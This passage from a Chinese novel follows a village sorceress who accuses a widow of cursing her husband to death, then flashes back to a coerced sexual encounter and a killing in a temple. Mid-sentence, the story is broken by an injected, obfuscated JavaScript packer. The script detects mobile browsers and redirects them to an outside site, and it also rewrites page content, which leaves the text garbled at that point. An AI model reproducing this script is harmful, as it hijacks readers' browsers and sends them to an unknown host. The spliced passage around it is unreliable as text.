他说这话的时候两只眼珠无限放大,使得乌黑的瞳孔占满了整个眼眶。万金花可以确定当时在场的人都听到了小白菜的这番话,人们怀疑的眼光已经迫使她作出唯一的回答:“我当然瞧见了,但这咒杀的事太大,总要向吉祥天师请上一卦问问才能知道来龙去脉的!”她往日里祭祀占卜的行头并不在此,“李得彩,李得彩,把我的东西取来!” 她的丈夫不久前才刚从床上挪动到人群中,困意在他身上附着了一层粘稠的膜,任何动作都显得缓慢而吃力,而小白菜再次蹦了出来,“可是妈妈,你为什么不直接让我来?这神灵附身口吐圣言的事情,我们过去就是这样做的,不是吗?”他的目光扫过伏在地上的季有兰,语气冰冷,“更何况,我们的心里早就有答案了,对吧,妈妈?” 整个清晨,明月庄的人们都在思考小白菜的一连串提问,季有兰摇摇欲坠的理智构筑起一面薄如白纸的墙壁,以此试图抵抗向她挥舞的刀片。万金花可悲地尝到了自己留下的苦果,她为了人上人的地位而做出的选择如今正反过来威胁她的权威,她转向一旁漠然的丈夫寻求帮助,李得彩明白妻子想说的话,便点了点头,继续将自己隐藏在人群里,寻找一个将小白菜带走的时机。 万金花知道自己不能再纵容下去了,她现在就像脖子上拴着麻绳的老山羊,要是再不挣脱绳套,等待她的就只有冰冷的屠刀了。 “白菜!你越发傲慢了!我们怎么能在问神之前就自作主张地代替天师回答呢!况且李池是不是真的被人咒杀而死的,现在还没有定论呢。”神婆子拿出更权威的存在来推翻小白菜的正确性,她没想到的是这个孩子在听了这些话之后居然骇人地大笑起来,他朝天露出口中残缺的乳牙,头往后仰以一个完美的下腰姿势扭转自己的身体盯着万金花,从他的胸腔里发出尖锐的气流声响,“妈妈!妈妈!你不同意我的观点,那么我们就来斗一斗吧!” 小白菜完全不等万金花的回答,就逃离了她试图控制他的双手来到季有兰与李池中间,他先是以一个孩童的身份挤出几滴迷茫的眼泪,冲着东天师庙的方向嚎啕大哭,然后他三两步爬到李池扭曲的身体上,将脸埋进他脊骨的凹陷处,李小潭握紧了季有兰的手并将母亲挡在身后,等到小白菜抬起头来,他的整张脸都沾染上了河水与血渍混合而成的液体,他在一片污浊当中睁开漆黑的双眼,整个人向后折叠成一个不规则的多边形,口中发出野兽般的嚎叫。受到惊吓的人群纷纷往后退开,区分出以李池为圆心的一片区域,那里泾渭分明地站着小白菜,季有兰和李小潭,还有呆滞的万金花。 他的身体终于恢复成了正常人能够理解的模样,一开口就从唇齿间发出六岁孩子不该有的低沉嗓音:“季有兰,你这个该被千刀万剐的贱货,不仅吃下龙虱与男人厮混,还要诅咒我去死!这下你满意了吧!”他长大了嘴猛扑过来,李小潭用手肘将他撂翻在地,这一大一小的两个孩子在众人中央上演了一出短促的搏斗戏码,小白菜的力气出奇得大,他抓住了李小潭的头发向不同的方向拉扯,小潭用两只手掌包裹住他肮脏的脸在地上摩擦。季有兰与万金花这对立的二人现在不得不同时充当调停的角色,四只新的大手加入二人的打斗中,就在他们即将被分离的时刻,李小潭边喊着“你们全都该死!”边抓住小白菜的双腿,对准他的裆部踩了下去。 那孩子躺在地上疯狂地扭曲自己的身体,他的喉咙里发出凄厉的鹅叫,两腿之间如同流产的妇人那样渗出鲜血,他迟钝的父亲终于从人群中冲出来,托起他的上半身要将他带回,而他的母亲放开了手被惯性推搡到地上瘫软地坐着,而另一位母亲则与自己的女儿相依为命,孤立无援。 “天杀的东西,我该砍了你那条造孽的腿!”在这一瞬间,万金花忘记了自己的身份,抛却了往日的尊严,这对于小白菜身体状况的担忧以及对绵延后代的俗气信仰骤然超越了一切理念,驱使万金花要向着季有兰母女去同态复仇。 李小潭从不害怕她,她反而伸出右腿喊道:“你来吧!我就是这条腿踩的,你砍吧!” 小白菜在李得彩的怀里发出沙哑的吼叫,我记得血泪从他的眼角流下,他的浑身正流淌着愤怒的血液。万金花转了几圈抓起河边一块被粘湿泥土包裹的石头往李小潭的腿上砸去,然而最终只是在路面上留下了一道惨白的痕迹,在李池的脚边划开他与生者的界限。 慧慧及时赶到,拉走了哭泣的少女,使她的双腿避免泥泞。 众人在这场闹剧中有了片刻的中场休息,有人掩着上扬的嘴角不怀好意地问道:“婆子,医生来了,你该让她瞧瞧怎么办。” 从万金花的喉咙里挤出一口老痰来啐在那人的鞋面上,万金花跳起来大喊:“女人怎么能看他那里!” “没看也踩坏咯。” 万金花听到耳边响起窸窸窣窣的笑声,果然这群没用的家伙平日里的客气都是装出来的,见到自己落魄就迫不及待地要站到自己头上,早知今日就该把李池轰得远远的,这一家三口个个与她犯冲,放到以前谁敢在她万金花面前发出这般讥笑? 啊,以前,以前小白菜还不是她的绊脚石。他是个听话的哑巴,伶俐的儿子,得力的助手,而不是现在这样铁齿铜牙,胡搅蛮缠,浑身心思的坏孩子。小白菜的一张嘴令他节节高升,是腿上缠绕的菟丝子,是头顶盘旋的吸血蝙蝠,大家的眼睛都去盯着他了,大家都忘记了明月庄真正的神婆子是万金花,不是小白菜。万金花看向李得彩怀中嚎叫的孩子,想着他要是从此不行了,那她说一不二的地位就又回来了,就不会再有跳出来反驳她的人。可是他们又是一体的,因为小白菜是万金花怀胎十月,最后在保胎仙娘娘的神谕指引下诞下的孩子,他若是在一个姑娘的脚下轻易地不行了,那不就说明他并没有得到吉祥天师的光辉庇佑?连同万金花本人也将遭到怀疑。 此时那个生着尖脑袋的老鼠嘟囔了一句,“到底还问不问了……” “哈?你说什么?” “万婆子你以前不是说了,问神是第一位的,天塌了都不能断吗?你们吵到现在,到底还问不问了?” 人群中此起彼伏地响起附和声,第二颗亲手所植的苦果滑进了万金花的咽喉。 对啊,我们正在问神呢。斗法还没有结束,现在轮到万金花了,这就是她彻底击碎小白菜地位的大好时机。孩子啊孩子,你是巫婆的后代,却不能继承她的衣钵,至少在她活着的时候不能,一旦你被证明拥有了同等的能力,那么你的母亲就成了无用的老一辈,是会被装在罐子里拉到太阳底下等死的。现在,你还是安心地做小白菜吧。 “李得彩,你带孩子回去歇着吧,他哭了好久了。”万金花木讷地说道。 我没有看见小白菜的眼泪,他的瞳孔中只有仇恨,在父亲怀里渐行渐远的时候也没有减弱丝毫。 “好哇,好哇。”她沙哑着声音走到李池的尸骨旁,看了一眼正轻轻抚摸着李小潭脑袋的慧慧,脸上露出了一个狡黠的微笑,“各位有些大惊小怪了,我们白菜学艺不精,打扰到各位了。” 大发雷霆的样子从她身上消失得无影无踪,更加剧了众人的恐惧,在明月庄,一切反常都是超自然力量的体现,人的情感也是一样。万金花趁热打铁,“是瘴气鬼,白菜说他看到的红光就是瘴气鬼的脚印,两个孩子命轻,让瘴气鬼上了身才这样呢,不信你们看。”她从袖子里掏出一个小木盒子,一边念咒一边在空中乱晃后将盒子扔到地上,人们眼瞧着木盒子凭空在地上小幅度地跳跃旋转了好一阵才停下。“桃木的盒子抓住了瘴气鬼,没事啦,没事啦。” 万金花说这话的时候笑眯眯地看着李小潭,她更加往慧慧的怀里躲了躲。我问李春生,“你不过去?” “这是她们的事,慧慧能解决。”他说。 万金花把木盒子藏进口袋里,她对着重归寂静的人群说道:“那么现在该轮到我了,实不相瞒啊,我今天也用不着那些行头了,我摸一摸李池的骨头,也能知道发生了什么。” 外圈的人开始往中间涌,这是神婆子没有展示过的绝技,他们自然要一饱眼福。 百年以前,我也曾触碰过一个年轻女人的白骨,她在洗衣的河岸边将一块被行路者遗失的挂坠归还原主,却被自己的丈夫认为是婚内不伦的证据。她不是季有兰这样温和的女人,而与李小潭的性子更加相似,她挺起腰杆清楚表达了对这项指控的不服。她的丈夫,也是个与李池截然不同的男人,他越过神婆与村长决断的一般流程,将自己“叛逆”的妻子圈禁在牛棚里。 男人拥有丰富的想象力,将挂坠的流苏与妻子用来束发的布条联系在一起,做了一回臆想的月老。尽管妻子再三抗辩她除了归还失物以外与那个路过的男人没有任何其他的交流,男人还是痛苦地朝她大吼:“你的胳膊被他看见了!” 女人从未料想洗衣也成了确证罪名的一部分,她看着恼羞成怒的丈夫抄起了柴刀要来斩断她的臂膀。 男人失败了,他高举柴刀的手迟迟无法落下,汗滴到牛棚里散发着臭味的地面上,整个刀面就沿着刀把整齐崩落。 李春生在无数次这样的调停里感到无奈,面红耳赤的男人,泪流满面的女人,后来也成了他挥之不去的无数噩梦的冰山一角。当年他也是这样,蹲在那个满身污浊的女人身边整理她的头发。 问题在于这些人面对吉祥天师给出的“禁止”信号之后,并不会承认自己行为的错误,而是继续寻找将其正当化的方法。他们认定了的事,百转千回也要实现。男人惊恐地叩拜道歉之后,就用一头小母牛的代价在神婆子那里换取了“怎样做能得到天师同意”的答案。 吉祥天师从未同意他的任何做法。 “这是因为牛 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每个人骨头的触感会不会有所不同?我不知道,但我猜测应当是的。比如李池的骨头应当就够不到锋利二字,万金花触摸他脊骨的神情也表明了这一点。 她从李池凹折的身体当中摸索出一块断裂的骨片,扯过李池外衣的一角把它擦干净,而后对着太阳的光线看了又看。 “呵呵哈哈哈哈哈哈……”神婆子拍打着自己的双腿仰天大笑:“果然如此!果然如此啊!我们没有抓错人!就是这个季有兰,她对自己的男人李池怀恨在心,就借着神圣的拜神大会,在李池身上下死咒,而天师登临塔就成了她咒法的放大器!。李池的骨头上,还留着咒法的印记呢!” 众人都跳起来,不敢再靠近季有兰的身边,担心可怕的咒法也会落到他们身上。 老鼠耸动他的鼻尖,“小白菜弄错了?” 万金花整理了自己的衣冠,庄重地向明月庄的所有人宣告自己的胜利,“她!季有兰!在昨天晚上还说出了可怕的话!” 这个筋疲力尽的女人再次被推到话题中心,“来,你好好跟大伙说说,你昨晚对李池说了什么?” “我说,我说我要离婚。”季有兰的眼睛直直地望着地面,不敢直视任何人。她已经在后悔自己提出离婚的决定,不但没能和平地从这里脱身,反而让自己和小潭一起深陷泥潭。 “不对不对!不是这一句!你还说了另一句!” 这是不可言说的咒语,始料未及的谶言,环绕在季有兰脖颈上的绳结。她的肠胃在极度的紧张和压迫感之下止不住地痉挛,吐出一地的酸水之后也吐出了这句话:“我说了,我要他死。” “哎呀!她是巫婆呀!”老鼠晃动着他的尖脑袋大喊,被李小潭道“你放屁!” 小潭的叫喊无人理睬,万金花高高举起了手中的白骨残片:“没错!一个人活着的时候经历了什么事,都会反映在他的骨头上,我给你们做过的摸骨占卜就是如此!李池的骨头在太阳底下一照,满是火焰的花纹,他这个受了诅咒的人和诅咒的中转站是一体的,登临塔遭了火烧,李池的骨头也就一样遭了火烧,铁证如山!”骨头被摔到地上,在场的所有人都冲上前去抢着亲眼验证万金花的话。 那个尖脑袋的老鼠最先拿到骨片,他用两条棉线般的眼睛寻找着火焰的踪迹。“找到了!真的有!真的!”他钻出来指着李小潭和季有兰问道,“那她们?” “她们?”万金花的脸上笑容和善,“咱们明月庄出了个胆大包天的妖女,不仅对自己的男人有杀心,居然还间接毁了天师登临塔,这个李小潭对我们的通灵仙童大不敬更是有目共睹。虽然她还不是真正的纵火犯,但我们当然要像对待真正的凶手一样惩罚她!李池溺死在清溪河,那就让他们夫妻团聚,把她也丢到河里吧!” “小潭……小潭。”季有兰终于抬起沉重的头颅,她的头发被汗水洇湿贴在脸上,更加显得她整个人苍老而憔悴,“小潭,是我害了你,是我害了你。”季有兰捧着李小潭的脸,“万婆子说的没错,我没用,我没用。” 她已然放弃了去东边乘船看海的幻想,接受了自己完全属于明月庄的现状,季有兰感到自己并不是嫁给了李池,而是与明月庄结下了孽缘。 “你说什么鬼话,你明明就是报复,别以为我会怕你!你想错了!”李小潭朝万金花大吼,神婆子沉浸在自己得意的胜利当中,对她的叫喊充耳不闻。 “你等一下,婆子!”慧慧从人群中冲出来,“你都说了季有兰会妖法,能将李池咒杀,那咱们今天把她丢到河里,你就不怕她报复,在今天在场的所有人身上下咒吗?还是你有办法令她无法做到这些事呢?” 众人的目光齐刷刷落到季有兰身上了,她的额角在缓慢升高的体温中冒出了汗,她朝慧慧吼道:“那你说怎么办?别想为她们找借口!” “我可是为了明月庄着想呀!万婆子,要我说就要让季有兰和李小潭都留在明月庄,但也要将他们分开来,对季有兰要严格的看管和控制住,对李小潭我们就要把她藏好。让这个能给人下咒的巫女无法见到自己的女儿,若是庄子里有了任何被下咒的迹象,我们也有李小潭这个筹码来让她收回,无论怎样,季有兰她都得考虑李小潭的安危。” 季有兰的眼珠在眼眶里跳动,与李小潭之间一步的距离也好像天南海北,她的手指动了动往前去想要拉住小潭的衣摆,万金花却将小潭拽起来说:“好,那我们就要把她装进瓮里,并把季有兰控制在屋里,在她看不见的地方让她每天都听听碎瓮的声音!” 18. 共犯 李洪在一个阳光明媚的日子变成了一只灵巧的猴子,他用十根细长的手指伸出笼子狭小的缝隙解开了铁丝扭成的锁。沿着明月庄的土路一路奔向太阳,当庄子里的人都怀揣着恐惧和不安寻找他的踪迹时,李洪就蹲在明月庄最东边的大树上对底下的人群发出嘲笑。 李得彩在万金花的吩咐下紧闭了大门,现在正从门缝中露出一只眼睛观察明月庄众人的反应。对于季有兰的审判让她筋疲力尽,万金花一回到家就以一个“大”字瘫在床上喘气,她的肚皮随着呼吸规律地起伏,汗把头发贴在脸上,好像墨水画过的痕迹。 万金花在自己的喘息之间听到了微弱的呼噜声,小白菜那小子带着下半身的疼痛在床上睡着了,或是晕了过去。 “李得彩,我有点害怕。”万金花说。 在李得彩的记忆中,万金花很少流露出害怕的情绪。“你怕的是什么?” “怕小白菜,怕他好了,又怕他好不了。”她的声音很轻,完全没有了人前的威风和神气。李得彩的手里拿着古巴烟斗,没有加烟草,他就是很喜欢烟斗外壁光滑的触感,他说:“他死不了。” “李得彩,你这人表面窝囊废,内里比鬼还可怕。”万金花躺在床上这么骂了他一句。李得彩不懂,他只是陈述事实,怎么就比鬼还可怕了。 万金花接着说下去:“我看他马上就要取代我了。” 小白菜的独特经历与在众人面前超乎意料的表现让万金花感到自己在明月庄的地位正摇摇欲坠,这让她产生了窒息的感觉,“你看到了吧,他开始抢我的话了。” “再怎么他都是你儿子。”李得彩说道。他的话对于万金花根本起不到安慰的作用,他只能搬出血缘伦理的关系来维护万金花的位置,不过神婆子本身也并不寄希望于李得彩嘴里能吐出什么有用的东西来,她的心里早有想法,也从来是不必与李得彩商量的。 李得彩在家里转了一圈说道:“姑娘呢?” 万金花在床上的呼吸逐渐变得均匀,几秒后她的眼角留下浑浊的眼泪,“这样下去,他会逼死我的,李得彩。” 万金花终于在小白菜野兽般的喊叫声中退化为一个筋疲力尽的母亲,她感到自己活到现在的一切都正在阳光下化为灰烬。床上的孩子在过去的六年间不断为她带来交织的希望与绝望,现在他两腿之间的伤痛还在万金花浑浊的眼珠里跳动。 她能想到的办法,就是指使李得彩为他抹上一把干净的寿仙土,再在他的嘴边擦上一圈栗子粉,她烧符纸,她对着家里的神像跪拜。她现在与这个孩子无奈地捆绑在一起,至于她的两个女儿,她却并不在乎,正如明月庄的人不在乎牲畜的动向,只要它们在能派上用场的时候在场就好。 现在,这个女人并不能意识到这依旧是她自己种下的恶果,她重新燃起了对周围所有人的恨意,而这恨意在万金花经历的岁月里源远流长,在下一代人的纠葛里卷土重来。 万金花的姓氏早已表明她外乡人的身份,只不过她早已忘记了自己的来处,明月庄就是她一生记忆的开端。万金花对于所谓父母与故乡的情感已经在她确定自己被遗弃之后被时间无限冲淡,记忆模糊了,恨也就没有标靶,她在十二岁的年纪开始了独自一人的生活。 虽然万金花早就忘记了父母的模样,但她对自己被遗弃的原因心知肚明:任何物体划过她的皮肤都会留下红色隆起的痕迹,导致她在某天穿过一片遍植桑树的田地之后身上就遍布了无法识读的咒文。她在那个或遥远或近在咫尺的故乡便成了不祥的象征。 这样的指控对于当时的万金花来说难以理解,只是那天之后她知道家里就时常莫名其妙地出现成群的老鼠,变质的食物,他们常在清晨发现屋外墙上未干的血渍,还有四面八方飞来砸坏窗户的石头。到了现在她坐在小白菜的床边,才渐渐与当时自己的母亲感同身受,压力逐渐转化为沉重的绝望,压弯了万金花父母的脊梁。 她在一个平常的夏天夜晚睡去之后就再也没有见到自己的故乡,庙里巍峨的神像是万金花与明月庄打的第一个照面。 躲在天师庙里生活的孩子很快就不是秘密,万金花发现明月庄的人们对她的突然到来并没有表现出想象中的强烈好奇,那时的她对于大多数人来说都是微不足道的。于是万金花得到了充足的时间来思考自己的生活,她小心谨慎地对待任何触碰,并不是因为她和父母一样认同了“不祥”的说法,而是想要摸清明月庄对这种皮肤病症的看法,避免重蹈覆辙。她将自己如今的处境归咎为“无能”,家乡的无能使人们无法辨清或解决她的病症,父母的无能使他们无法反抗他人的恶意,自己的无能使她仍要忍受长时间的艰难生活。 无能的范畴后来被她拓展得更加广泛,明月庄的大多数人都被纳入其中。她身后那尊高大的神像就是原因,日日叩拜的行为就昭示着他们无法解决自身问题的无能。 万金花唯一一次在蒲团上向着吉祥天师的神像叩拜是在两年后那个异常寒冷的冬天,清溪河也结起了厚厚的一层冰,窗户上掰下来的冰棱子成了万金花当时唯一的淡水来源。她的嘴唇冻得发紫,两只手也因为冻疮而红肿如蟹壳,她裹着一件蓑衣躺在角落里等待死亡的来临。渐渐地,她看到眼中的天空统一成了白色沉沉地压下来,地面沉淀为无垠的黑色迅速扩大,自己成了宴席上一道不受欢迎的凉菜。 但宴席总要进行下去,老天爷起锅烧油带起她耳朵边呜啦呜啦的风声,让她想到灶火的温暖和干木柴特有的气味,他们在炉火的撩拨下噼啪作响,万金花就以此来想象过年的烟花。现在她躺在这座庙里,居然也听到了烟花的声音,由此看来这场宴席真是热闹非常。 万金花没有在这里见到宴席的主人,仅有庙里那尊石制的神像低垂着双目与她相顾无言。她孤零零地躺在地上,第一次对神像说出了自己的祈愿:“你要是真的,就该让我以后做这里的人上人。” 她说完一眨眼的功夫,就眼瞧着从惨白的天空中倒下了一笼屉的碎馒头,那馒头被碾成蚕豆大小的碎块,不顾席间客人的肚量塞到他们的嘴边。馒头越来越多,越来越密,万金花感到自己正逐渐被白花花的馒头掩埋,变成一个热气腾腾的肉包子。于是身边也有了蒸笼般的温暖,这场宴席在万金花对肉包子的美好想象中圆满落幕。而她在第二天醒来,发现身边蓬松的馒头碎块全都不见了,仅仅残留着笼屉的温暖,将她与古庙院落里的皑皑白雪相分隔。 “你?”神像始终是慈眉善目,缄口不言的,万金花并不奢求一个确切的答案,心中却开始了一个历时长久的谋划。 万金花也惊奇地发现自己在明月庄的地位在这场宴席之后有了显著的转变,首先是那个举着扫把来扫雪的女人呆愣愣地盯着她道:“你没死?” 她怎么会死呢?她的嘴边才飘过馒头与肉包子的香味。 女人随即便注意到了万金花脚边反常的干燥,“你身边没有下雪?” “雪?那不是馒头吗?我吃了,又香又软呢。”万金花说。 很快,明月庄的所有人都听说了躲在庙里的小流浪在大雪夜得到吉祥天师庇护的故事,她不但没有冻死,还得到了将白雪转化为白馒头的奇妙魔力。她突然就在明月庄得到了一席之地,人们对她称不上追捧,但也变得客气恭敬,更有人在烧香祭拜的时候给她送了一袋包子吃。 肉包子。 万金花的肠胃对食物的渴望已经超越了理智,她靠在神像背后狼吞虎咽,彻底地意识到地位上升带来的无边好处,也更加确信了无能理论的正确性,唯一不同的是,她现在确定自己可以改变这一切。 这对于当时的掌权者来说就不是什么好事儿了,万金花的上一任神婆子姓孟,是个蹲下之后就看不见四肢的胖女人,她对万金花雪夜逢生的故事感到厌恶,因为明月庄是不能有两个仙家照拂的人的。孟婆子碍于颜面并没有把心思表现出来,她是个懂得蛰伏与观察的人,在万金花日益鼎盛的声望中寻找着机会。 从任何角度来看,万金花都是一个明白自己想要什么的人,这在她这个年纪属实罕见。李得彩就是这一观点的坚定支持者。而在当时,他还处在全然不同的处境当中。 当万金花在雪夜的传说中积攒自己的名气时,李得彩正在痛苦地摸索自己的价值。他那个靠着祖传塑像手艺谋生的父亲李金泉对自己的这个儿子着实不满,李得彩在他的眼里天赋平庸,手下的作品毫不出色,连为人处世也显出一股呆滞蠢笨的劲儿来。 “咱们家的手艺到你这里算是完了。”李金泉常在酒后对李得彩说这句话,并不时要将自己与儿子相比较,“我在你这个年纪早就当家上塔去塑像啦!” 李得彩只捧着饭碗不说话,他知道反驳只会带来更加冗长的训斥,但心中却并不认同父亲的理论,他忠诚地热爱着这份家传的事业,就像爱自己的生命。 “你又把眼睛画歪啦!”李金泉举起桌边儿子的最新作品,刚咽下去的黄酒顺着咽喉烫红了脸,他再也不想去计较这是第几个失败品,无论是第几个,他们都是同样的没有价值,就像现在的李得彩本人一样。 啪!李金泉扬起手将那尊塑像摔得粉碎,“咱们家肯定是出了问题,我再不找人看看就要完啦!完啦!” 李金泉酒也没喝完就找到神婆子诉苦,认为自家祖传的塑像手艺岌岌可危,就要在李得彩的手上彻底断绝,“婆子!我想李得彩也不是天生的蠢货,一定是有什么东西挡了我家的运势!” 李金泉信誓旦旦,神婆子对他将信将疑,她将一把南瓜籽在两个手之间摩挲交换,想到了一个绝妙的计策。 她让李金泉坐在屋子的正中央,用一块绣着八卦图的黄布盖住他的头,并让李金泉举着一支点燃的蜡烛。蜡烛的火光点燃了一根枯树枝,李金泉能感到枯树枝在自己手上颤抖。 “甩!把火甩灭!像火柴一样!” 李金泉照做了,随后他又在神婆子的指示下用枯树枝做画笔,在地上随心所欲地涂抹。黄布始终在他脑袋上,李金泉也索性闭上了眼睛,等他在透亮的天光中睁开眼,就看到地上凌乱的焦黑痕迹,他这个作者并不能识读,神婆子代行了这一权力。 “真被你说准了。” “准了?真有东西?” 神婆子煞有介事地晃了晃脑袋,“算不上是什么东西,是气。” “气?” “一股霉气在你们家呢。要祛祛霉气,冲冲厄,不是什么大事。” “呀!”李金泉听了直拍大腿,“我就说我李金泉的儿子怎么会塑不好像,肯定是有脏东西挡了我们家的运势才对,婆子你说,霉气怎么祛!” 那个眼睛眯成了一条缝的胖女人凑到李金泉的耳朵边说:“霉气顽固,从你们家跑了还会去庄子上的其他人家,兜兜转转还要回到你这里呢。” “那就要把它彻底清扫出明月庄才行!我知道婆子你一定有办法!” “有,我当然有了。”她往嘴里送进一把捏得温热的南瓜子,“霉气要有人替你担。明月庄的不行,你找个外乡来的不就好了,之后让他哪儿来的回哪儿去,霉气也就跟着他彻底走了。” “霉气要怎么才能让他担?” “男人嘛,你就用红绳圈住他的影子,再用皮带蘸盐水对着影子抽五十下。女人嘛,就那样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063026|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李金泉没有听懂她的意思,“什么样?” “诶呀,那样嘛。你和你老婆生儿子那样!” 一边,李金泉按照神婆子的指示轻易就想到了天师庙里生活着的万金花,她完美地契合了标准,还在明月庄无依无靠,另一边,李得彩也对父亲的这项计划感到震惊,他承认自己在塑像手艺上还有所欠缺,却也没有胆量去做这种事。 “这不行的。”他弱弱地反驳道,李金泉再次对儿子的懦弱性格大发雷霆,“你就是烂泥扶不上墙,看来霉气已经进到你的脑子里啦!我李金泉怎么会有这样没出息的儿子!”李金泉说着,对准李得彩的右脸就是响亮的一巴掌。 神婆子在一旁打圆场,“小子,你是在怕什么?” “这不好。” “你又不吃亏。”神婆子塞进一把南瓜子说道。 “就是,你怕个蛋啊!” “我不去!” “由不得你!”李金泉像拎起一只公鸡一样钳住了李得彩的胳膊,将他摁在家里唯一的一张靠背竹椅上,椅子腿儿吱呀作响发出求救的信号,神婆子扯过一条汗巾使李得彩变成暂时的哑巴,李金泉用一捆麻绳让李得彩与竹椅成为一体。 李得彩就这么倒转着被李金泉一路拖行到了东边的古庙,他整个人倾斜着在路上摇晃,椅子腿拖行发出的声响和他喉咙里的呜咽重叠,成为明月庄里最不值一提的声音。 而这个悲惨故事的另一个主角正在天师庙里享受她安稳的睡眠,雪夜的传说让她躲躲藏藏的生活彻底改头换面,她现在得以安睡在神像的座下,披着能够真正保暖的毯子。 但毫无疑问的是,万金花想要的生活绝不是这样而已,她曾在数百个夜晚梦想着一个契机的出现,来让人生能够有一番新的面貌。现在,这个契机被绑在竹椅上呻吟着来了。 李金泉与神婆子展现出默契的团队合作,他们一个为霉气转移的仪式挑好了位置,一个就来把万金花架起。 “好姑娘,明月庄的霉气在你这外乡人身上活不长,这是积德行善的事。”万金花没听懂神婆子的话是什么意思,但隐约地从他们反常的动作中推断出不是什么好事。她迷蒙的双眼在黑夜中只能看见另外两个人的轮廓,她听见意义不明的哼哼声,却不能分辨从谁的咽喉中传出。 李金泉伸手去解李得彩的裤腰带,但很快又转向与碍事的绳索之间的搏斗。 “你快点啊。”神婆子催促道。 万金花的四肢终于连接上了大脑,她从这几人零碎的言语中解读出危险迫近的征兆,扭动着身体要从神婆子手中脱离。 “别动了,别动了好姑娘,我说了这是替人受罪积福报的事儿。” “呸!你自己怎么不积去?”她在空中胡乱踏了好几下,神婆子一步一躲还边要催着,“你好了没啊!” 塑像的师傅满头大汗,那裤腰带越解越死,最后在李得彩的腰间成了一个硬疙瘩。他被这一系列的事彻底惹火,一甩手连人带椅扔到了供奉着神像的祭坛旁边靠着,李得彩光溜溜的后脑勺砥磨着石制祭坛粗糙的颗粒。 “过来!过来呀!” 李金泉不得不松开了捆绑李得彩下半身的麻绳,万金花被神婆子捂着嘴往祭坛的方向推,她同时也感到一双戴着金戒指的手在用力拉扯她的裤子,也就把正在发生的事猜了个大概。 另一双粗糙的大手也伸向李得彩,李金泉犹豫了片刻为一条裤子代表的金钱哀悼,随后便忍痛撕开了儿子下半身的布料。 神婆子掰着万金花的腿把她往李得彩身上按,她的力气那样大,好像要把自己这辈子的委屈都按到地里似的。李金泉也用尽了力气去稳住竹椅,他却像是慌了神,在拥挤的空间里屡屡受挫,大汗淋漓。 愤怒与羞愧在万金花和李得彩二人之间迅速累积,万金花的身子越是下沉,她的双手就越要升向天空,她在那里摸到了一尊小石像的一角。 万金花在自己腹部的位置感受到陌生的鼻息呼出的热气,循着这个位置她将石像狠狠砸下。 夜色吞没了那个粗野男人的声音,吐出一个干瘪的外壳沉重落地。 “怎么了!”神婆子大喊。 “你给我滚开!” “诶呀!”神婆子被掀翻在地,她四肢着地摸索着大门的方向。 压在李得彩身上的全部重量骤然消失,麻绳松松垮垮地已经解开了大半,他浑身的血液上涌使他一脚蹬开那把老旧的竹椅,抄起椅背来咬着牙往地上蠕动的声源猛砸,就像父亲砸碎自己的塑像作品那样。 他将心中所有的言语全都凝聚成下砸的力量,这把椅子成了他过去每一个被训斥的日子里没有胆量说出的反驳,现在,他要让这些话全部落地。 直到椅子剩下巴掌大的残片,李得彩才怔怔地跌坐在地上,这时候他才发现,自己的大腿上留下了一片粘湿。 太阳就要升起来了,世界一片灰白。 万金花走到李得彩面前,“我有个办法。”她穿好了自己裂了一个口子的裤子,表情平静到可以用死寂来形容,李得彩只是呆滞地望着她。 “会写字吗?” 李得彩点了点头。 万金花捡起了地上的一根树枝,“神前不敬,天明即死。你不想死,就把这八个字写在我背上,多用点儿力。他们俩的裤子你扒一条穿好,等太阳出来了,庙里就要来人,有这八个字,我俩就能活。” 她将祭坛上供着的红布递给李得彩,“擦擦血。” 随后,万金花背对着李得彩解开了自己的上衣,露出她脊骨线条清晰的后背。 “你写吧,以后我就跟着你了。” 19. 往事如烟 下腹部绵长的痛苦使小白菜两个多月的时间里都在昏迷与清醒之间来回反复,一场大梦占据了他所有昏睡的时刻。他看到清溪河不再自西向东贯穿明月庄的土地,而是首尾相接把明月庄圈成一个孤岛,各种面孔的人排着队从一扇门里走出,四散到明月庄各处的房子里,一尊没有五官却能说话的雕像挥动闪着金属光泽的辫子抽打他们:“快扔掉有害的东西!” 于是从房子里就不断抛出不成形的文字来,这些字大小不一歪七扭八地被涂写在白纸上,它们以肉眼可见的速度迅速积累起来,成为雨季漫涨的河水将小白菜整个人都淹没了。 “我没法呼吸!”白纸堵住小白菜的咽喉,他在脑中艰难地喊道。 很快,白纸组成的河水被清溪河的河道全部收容,现在围绕着明月庄的是一条长长的白色绸缎。太阳从东边升了起来,那尊雕像的金属外壳就开始融化,小白菜拿手指头蘸了蘸淌到他脚边的液体,甜的,原来那层金属是凝固的糖壳。现在雕像有了人体皮肤的样子,它的脸上幻化出嘴的轮廓:“你们要感恩戴德,为了万年好生活!” 房子里的人没有动静,天上却啪嗒啪嗒滴下水来。 “是谁在哭!”小白菜朝着天上望去,在遥远的云层背后见到了一个比山羊坡高出百倍的人形轮廓。 “是你吗!” 那轮廓并不说话,雨势却更大了,小白菜想起夏天午后的雷雨,也是这样劈头盖脸地倒下来,把明月庄的每一处墙根都泡在水里。现在也是一样,没来由的大雨和刚才的白纸一样暴涨,没过石井,没过房顶,没过天师登临塔,把整个明月庄连带着小白菜一起淹没,从白绸缎划出的范围中脱离沉入虚空中去。 “让我回去!让我回去!”小白菜往头顶的绸缎伸出手去,他们的距离则愈发遥远。 而那个如山般高大的轮廓伸出双手,将绸缎套进了自己的脖子。 昏迷的孩子彻底从梦中醒来,他浑身燥热难耐,虚汗洇湿了身下的床单,也刻画出一个人形的轮廓来。他双眼茫然的父亲走到床边来看他,“醒了?醒了!” 得知小白菜终于清醒的万金花长舒了一口气,她现在对这个孩子的情感复杂到无法用语言解释,只不过此时此刻,她只是一个如释重负的母亲。万金花背靠着门框缓缓蹲坐到地上,她不敢靠近小白菜去看着他乌黑的眼睛,两个姐姐相互依偎着观察他的举动,李得彩用一个白瓷碗接了热水晾着,伸手捏了捏孩子苍白的脸,“说话呀。” 